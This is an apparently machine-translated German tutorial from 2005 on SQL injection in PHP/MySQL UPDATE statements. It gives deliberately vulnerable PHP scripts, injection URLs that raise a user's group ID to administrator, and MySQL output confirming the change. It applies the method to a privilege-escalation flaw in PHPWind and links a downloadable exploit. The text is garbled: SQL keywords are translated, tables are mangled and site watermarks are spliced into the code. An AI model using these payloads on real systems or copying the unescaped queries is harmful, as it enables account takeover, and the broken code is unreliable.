Autor dieses Artikels: SuperHei
Art des Artikels: Ursprüngliches Veröffentlichungsdatum: 14.08.2005
1. Testumgebung für Netzwerkverwaltung herunterladen dl.bitscn.com
Betriebssystem: Windowsxp sp2
PHP: PHP 4.3.10
MySQL 4.1.9
Apache 1.3.33
2. Datenbankstruktur testen
--database: `test`
--
-------------------------------------------------- --------
--
-- Tabellenstruktur „userinfo“.
--Netzwerkverwaltungsnetzwerk www_bitscn_com
CREATE TABLE `userinfo` (
`groudid` varchar(12) NOT NULL Standard '1',
`user` varchar(12) NOT NULL default 'heige',
`pass` varchar(122) NOT NULL Standard '123456'
) TYPE=MyISAM;Netzwerkmanager u home u.bitsCN.com
--
-- Exportieren Sie die Daten in die Tabelle „userinfo“.
--
IN `userinfo`-WERTE EINFÜGEN ('2', 'heige', '123456')
3. Testmodus
1. Die Variable enthält nicht „“ oder „“ China Network Management Alliance bitsCN.com
<?php
//test1.php Mod1
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Datenbankverbindung fehlgeschlagen");China Network Management Forum bbs.bitsCN.com
$sql = "update userinfo set pass=$p where user='heige'";/ / <--$P verwendet keine einfachen Anführungszeichen
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);China Network Management Forum bbs.bitsCN.com
echo "<p>SQL Query:$sql<p>";
?>
Das Skript ändert nur die Übergabe von user='heige'. Wenn die Gruppen-ID die Berechtigungsstufe des Benutzers darstellt, besteht unser Zweck darin, die Gruppen-ID durch die Erstellung von $p zu ändern. Anschließend senden wir Folgendes:
http://127.0.0.1/test1.php?p=123456,groudid=1
Abfrage in MySQL:
mysql> select * from userinfo;
+---------+-------+--------+
|. groudid |. Benutzer |
+---------+-------+--------+
|. 1 |. 123456 |
+---------+-------+--------+
1 Zeile im Satz (0,01 Sek.)
Die Grudid der Benutzerhöhe wurde von 2 auf 1 geändert :)
So können wir erreichen, dass die Injektion ohne „“ oder „“Update erfolgreich sein kann. Dies ist unser Modus 1.
2. Variablen mit '' oder ""
<?php
//test2.php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) oder die („Datenbankverbindung fehlgeschlagen“);
$sql = "update userinfo set pass='$p' where user='heige'";//<--$P verwendet einfache Anführungszeichen China Network Management Forum bbs.bitsCN.com
$result = mysql_db_query($dbname, $sql );
$userinfo = mysql_fetch_array($result);Network Management Forum bbs_bitsCN_com
echo "<p>SQL Query:$sql<p>";
?>
Zum Schließen sollte „Wir konstruieren $p 123456“ sein,groudid='2Senden: China Network Management Forum bbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456',groudid='1in
gpc = Im Fall von on wird „zu“ und die übermittelte Anweisung wird zu:
SQL-Abfrage: update userinfo set pass='123456',groudid='1' where user='heige'
MySQL-Abfrage:
mysql> select * from userinfo;
+---------+-------+--------------------+
|. groudid |. Benutzer |
+---------+-------+--------------------+
|. 2 |. 123456',groudid='1 |
+---------+-------+--------------------+
1 Zeile im Satz (0,00 Sek.) Die Netzwerkverwaltung bitscn_com
groudid wurde nicht geändert. Was also, wenn die Variable überhaupt nicht eingefügt wird, wenn sie „“ oder „“ ist? Schauen wir uns stattdessen Modus 2 an:
<?php
//test3.php Mod2
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) oder die („Datenbankverbindung fehlgeschlagen“);
$sql = "update userinfo set pass='$p' where user='heige'";//<--$P verwendet einfache Anführungszeichen network managerujiau.bitscn@com
$result = mysql_db_query($dbname, $sql) ;
mysql_fetch_array($result); //Die Daten von $p werden in die Datenbank geschrieben
$sql= "Pass aus Benutzerinfo auswählen, wobei user='heige'";
$result = mysql_db_query($dbname, $sql);
$userinfo=mysql_fetch_array($result);
echo $userinfo[0]; //Ausgabe der Pass-Abfrage an $userinfo[0]
$sql ="update userinfo set pass='$userinfo[0]' where user='heige' ";
$result = mysql_db_query($dbname, $sql);
mysql_fetch_array($result); //$userinfo[0] erneut aktualisieren bitsCN.com
?>
Testen wir es und senden es an: Netzwerkverwaltung bitscn_com
http://127.0.0.1/test3.php?p=123456',groudid='1
Zurück zur MySQL-Abfrage: Netzwerkverwaltungsforum bbs_bitsCN_com
mysql> select * from userinfo;
+---------+-------+--------+
|. groudid |. Benutzer |
+---------+-------+--------+
|. 1 |. 123456 |
+---------+-------+--------+
1 Reihe im Satz (0,00 Sek.)
HaHa~~ Erfolgreich injiziert und Grudid auf 1 geändert. Dies ist unser Modus 2. Eine kurze Beschreibung lautet wie folgt:
Update -> Auswählen -> Update
4. Tatsächlicher Modus
Modus 1: Fehlender
Modus 2:Schwachstellenanalyse
zur Privilegieneskalation
von PHPWind 2.0.2 und 3.31e
update (Profile.php-Injection-Variable ist $proicon, die Update-Anweisung ist icon='$userdb[icon]')
↓
auswählen (jop.php)
↓
updtate (jop.php) Netzwerkmanagement-Forum bbs_bitsCN_com
Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe
5. Danksagungen
Besonderer Dank geht an Freunde wie Saiy für ihre Diskussionen und Hilfe. Danke!!